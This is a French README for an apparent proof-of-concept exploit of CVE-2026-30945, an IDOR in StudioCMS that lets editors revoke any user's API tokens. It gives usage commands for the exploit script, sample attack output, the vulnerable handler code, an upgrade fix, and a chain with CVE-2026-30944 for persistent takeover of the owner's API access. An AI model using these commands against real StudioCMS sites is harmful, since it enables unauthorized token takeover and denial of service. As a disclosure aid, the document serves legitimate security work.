
Preuve de concept d'exploitation pour CVE-2026-30945, une IDOR dans StudioCMS permettant la révocation arbitraire de jetons API et le déni de service. Inclut des modes de test manuel et automatisé.
StudioCMS IDOR — Révocation arbitraire de jetons API entraînant un déni de service
Le point de terminaison DELETE /studiocms_api/dashboard/api-tokens dans StudioCMS ≤ 0.3.0 permet à tout utilisateur authentifié disposant de privilèges editor ou supérieurs de révoquer des jetons API appartenant à n'importe quel autre utilisateur, y compris les comptes et .
adminownerLe gestionnaire accepte tokenID et userID directement depuis la charge utile de la requête sans vérifier la propriété du jeton, l'identité de l'appelant ou la hiérarchie des rôles. Cela permet un déni de service ciblé contre les intégrations et automatisations critiques.
Lié : Cette vulnérabilité partage la même cause racine que CVE-2026-30944 (IDOR de génération de jetons). Lorsqu'elles sont enchaînées, un attaquant peut révoquer les jetons légitimes et en générer de nouveaux, réalisant une prise de contrôle complète des identifiants API.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Attaquant │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Serveur │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Pipeline │
│ CI/CD du │
│ propriétaire│──► ❌ 401 Unauthorized
│ Intégration │──► ❌ Accès API perdu
│ Supervision │──► ❌ Échec silencieux
└──────────────┘
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (Élevé) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639 : Contournement d'autorisation via une clé contrôlée par l'utilisateur |
| CWE (secondaire) | CWE-863 : Autorisation incorrecte |
| MITRE ATT&CK | T1531 — Suppression d'accès au compte |
| OWASP API | API1:2023 — Autorisation au niveau des objets cassée |
| Affecté | studiocms ≤ 0.3.0 |
| Corrigé dans | studiocms 0.4.0 |
| Fichier | Description |
|---|---|
cve_2026_30945_poc.py | Script d'exploitation Python avec modes manuel et automatisé |
README.md | Ce fichier |
LICENSE | Licence MIT |
Editorpip install requests colorama
# Révoquer un jeton spécifique appartenant au propriétaire
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Enchaîner avec CVE-2026-30944 : créer d'abord un jeton pour la cible
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Enregistrer les résultats au format JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Tester avec plusieurs rôles
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Argument | Description |
|---|---|
-u, --url | URL de base StudioCMS cible |
--target-uuid | UUID de l'utilisateur cible dont le jeton sera révoqué |
| Argument | Description |
|---|---|
--token-id | UUID interne de l'enregistrement du jeton à révoquer (pas le JWT). S'il est omis, le script tentera d'abord de créer un jeton via CVE-2026-30944 |
| Argument | Description |
|---|---|
--username | Nom d'utilisateur pour l'authentification |
--password | Mot de passe pour l'authentification |
| Argument | Description |
|---|---|
--auto-test | Activer les tests automatisés multi-rôles |
--editor-user | Nom d'utilisateur du compte Editor |
--editor-pass | Mot de passe du compte Editor |
--visitor-user | Nom d'utilisateur du compte Visitor |
--visitor-pass | Mot de passe du compte Visitor |
| Argument | Description |
|---|---|
--save | Enregistrer les résultats dans un fichier JSON |
--no-ssl-verify | Désactiver la vérification du certificat SSL |
──────────────────────────────────────────────────────────
PHASE 1 : Authentification
──────────────────────────────────────────────────────────
[+] Authentifié en tant que 'editor01'
[*] Utilisateur de session : editor01 (editor)
[*] UUID de session : 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 3 : Révocation de jeton (IDOR)
──────────────────────────────────────────────────────────
[*] UUID cible : 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID du jeton : 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Révocation du jeton API de la cible...
[+] Jeton révoqué ! Réponse du serveur : Token deleted
[!] VULNÉRABILITÉ CONFIRMÉE — Jeton révoqué avec succès !
[!] Les intégrations API de l'utilisateur cible sont désormais cassées (DoS)
──────────────────────────────────────────────────────────
PHASE 3 : Révocation de jeton (IDOR)
──────────────────────────────────────────────────────────
[*] UUID cible : 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID du jeton : 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Révocation du jeton API de la cible...
[*] Accès refusé (403 Forbidden) — le point de terminaison est peut-être corrigé
[-] Échec de la révocation : Accès refusé (403 Forbidden)
Lorsqu'elle est combinée à l'IDOR de génération de jetons (CVE-2026-30944), un attaquant peut réaliser une prise de contrôle complète des identifiants API :
Étape 1 : Révoquer le jeton légitime du propriétaire (CVE-2026-30945)
└──► Les pipelines CI/CD du propriétaire échouent silencieusement
Étape 2 : Générer un nouveau jeton pour le propriétaire (CVE-2026-30944)
└──► L'attaquant dispose désormais d'un accès API de niveau propriétaire
Étape 3 : Le propriétaire crée un nouveau jeton pour corriger
└──► L'attaquant le révoque à nouveau (DoS persistant)
Cela crée un scénario où l'attaquant maintient un contrôle persistant sur l'accès API du propriétaire, révoquant de manière répétée tout nouveau jeton créé par le propriétaire tout en conservant son propre accès illégitime.
Le gestionnaire vulnérable dans packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lignes 58–99) accepte tokenID et userID depuis le corps de la requête et les transmet directement à la fonction de suppression sans aucune vérification d'autorisation :
// [1] Vérifie uniquement si l'appelant est editor — pas POUR QUI il supprime des jetons
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] Les deux valeurs proviennent du corps de la requête — aucune validation par rapport à la session
const jsonData = yield* readAPIContextJson<{
tokenID: string; // Aucune vérification de propriété
userID: string; // Aucune vérification d'identité
}>(ctx);
// [3] Transmis directement à une opération destructive — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
Le gestionnaire présente cinq défauts distincts : contrôle d'autorisation insuffisant, absence de validation de la propriété du jeton, absence de vérification de l'identité de l'appelant, absence d'application de la hiérarchie des rôles et transmission directe de valeurs contrôlées par l'utilisateur à une opération destructive.
Mettez à jour StudioCMS vers la version 0.4.0 ou ultérieure :
npm install studiocms@latest
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
Filipe Gaudard
Ce PoC est publié sous la licence MIT à des fins éducatives. Utilisez-le de manière responsable et éthique.